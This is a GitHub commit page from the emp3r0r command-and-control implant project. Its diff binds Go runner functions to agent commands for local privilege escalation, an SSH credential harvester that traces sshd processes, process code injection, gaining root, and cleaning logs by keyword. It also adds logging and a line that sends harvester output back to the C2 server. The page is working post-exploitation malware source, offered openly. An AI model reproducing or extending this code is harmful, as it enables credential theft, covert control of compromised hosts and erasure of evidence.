Skip to content

Commit

Permalink
fix: some agent commands have no runners
Browse files Browse the repository at this point in the history
forgot to bind runner functions
  • Loading branch information
jm33-m0 committed Feb 13, 2025
1 parent 5263563 commit 6575f5c
Show file tree
Hide file tree
Showing 3 changed files with 12 additions and 1 deletion.
7 changes: 6 additions & 1 deletion core/lib/agent/c2cmd.go
Original file line number Diff line number Diff line change
Expand Up @@ -201,6 +201,7 @@ func C2Commands() *cobra.Command {
Short: "Run LPE script",
Example: "!lpe --script_name <script_name> --checksum <checksum>",
GroupID: "generic",
Run: runLPELinux,
}
lpeCmd.Flags().StringP("script_name", "s", "", "Script name")
lpeCmd.Flags().StringP("checksum", "c", "", "Checksum")
Expand All @@ -212,6 +213,7 @@ func C2Commands() *cobra.Command {
Short: "Start SSH harvester",
Example: "!ssh_harvester --code_pattern <hex> --reg_name <reg> --stop <bool>",
GroupID: "generic",
Run: runSSHHarvesterLinux,
}
sshHarvesterCmd.Flags().StringP("code_pattern", "p", "", "Code pattern")
sshHarvesterCmd.Flags().StringP("reg_name", "r", "RBP", "Register name")
Expand All @@ -224,6 +226,7 @@ func C2Commands() *cobra.Command {
Short: "Inject code",
Example: "!inject --method <method> --pid <pid> --checksum <checksum>",
GroupID: "linux",
Run: runInjectLinux,
}
injectCmd.Flags().StringP("method", "m", "", "Injection method")
injectCmd.Flags().StringP("pid", "p", "", "Process ID")
Expand All @@ -246,6 +249,7 @@ func C2Commands() *cobra.Command {
Short: "Attempt to gain root privileges",
Example: "!get_root",
GroupID: "linux",
Run: runGetRootLinux,
}
rootCmd.AddCommand(getRootCmd)

Expand All @@ -255,15 +259,16 @@ func C2Commands() *cobra.Command {
Short: "Clean logs",
Example: "!clean_log --keyword <keyword>",
GroupID: "linux",
Run: runCleanLogLinux,
}
cleanLogCmd.Flags().StringP("keyword", "k", "", "Keyword to clean logs")
rootCmd.AddCommand(cleanLogCmd)

screenshotCmd := &cobra.Command{
Use: emp3r0r_def.C2CmdScreenshot,
Short: "Take screenshot",
Run: screenshotCmdRun,
GroupID: "generic",
Run: screenshotCmdRun,
}
rootCmd.AddCommand(screenshotCmd)
return rootCmd
Expand Down
1 change: 1 addition & 0 deletions core/lib/agent/c2cmd_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -129,5 +129,6 @@ func runSSHHarvesterLinux(cmd *cobra.Command, args []string) {
out := <-harvesterLogStream
SendCmdRespToC2(out, cmd, args)
}
SendCmdRespToC2("SSH harvester log stream exited", cmd, args)
}()
}
5 changes: 5 additions & 0 deletions core/lib/agent/ssh_harvester_amd64_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,8 @@ var (
)

func sshd_monitor(logStream chan string, code_pattern []byte, reg_name string) (err error) {
defer util.LogStreamPrintf(logStream, "SSH Harvester main process (%d): done", unix.Getpid())

alive, sshd_procs := util.IsProcAlive("sshd")
if !alive {
util.LogStreamPrintf(logStream, "sshd_monitor (%d): sshd process not found, aborting", unix.Getpid())
Expand All @@ -38,6 +40,7 @@ func sshd_monitor(logStream chan string, code_pattern []byte, reg_name string) (
util.LogStreamPrintf(logStream, "sshd_monitor started (%d)", unix.Getpid())
monitor := func(sshd_pid int) {
util.LogStreamPrintf(logStream, "Started monitor (%d) on SSHD (%d)", unix.Getpid(), sshd_pid)
defer util.LogStreamPrintf(logStream, "Monitor for %d done", sshd_pid)
for SshHarvesterCtx.Err() == nil {
util.TakeABlink()
children_file := fmt.Sprintf("/proc/%d/task/%d/children", sshd_pid, sshd_pid)
Expand Down Expand Up @@ -73,6 +76,8 @@ func sshd_monitor(logStream chan string, code_pattern []byte, reg_name string) (
}

func sshd_harvester(pid int, logStream chan string, code_pattern []byte, reg_name string) {
defer util.LogStreamPrintf(logStream, "SSH harvester for sshd session %d done", pid)

// remember pid
traced_pids_mut.Lock()
traced_pids[pid] = true
Expand Down

0 comments on commit 6575f5c

Please sign in to comment.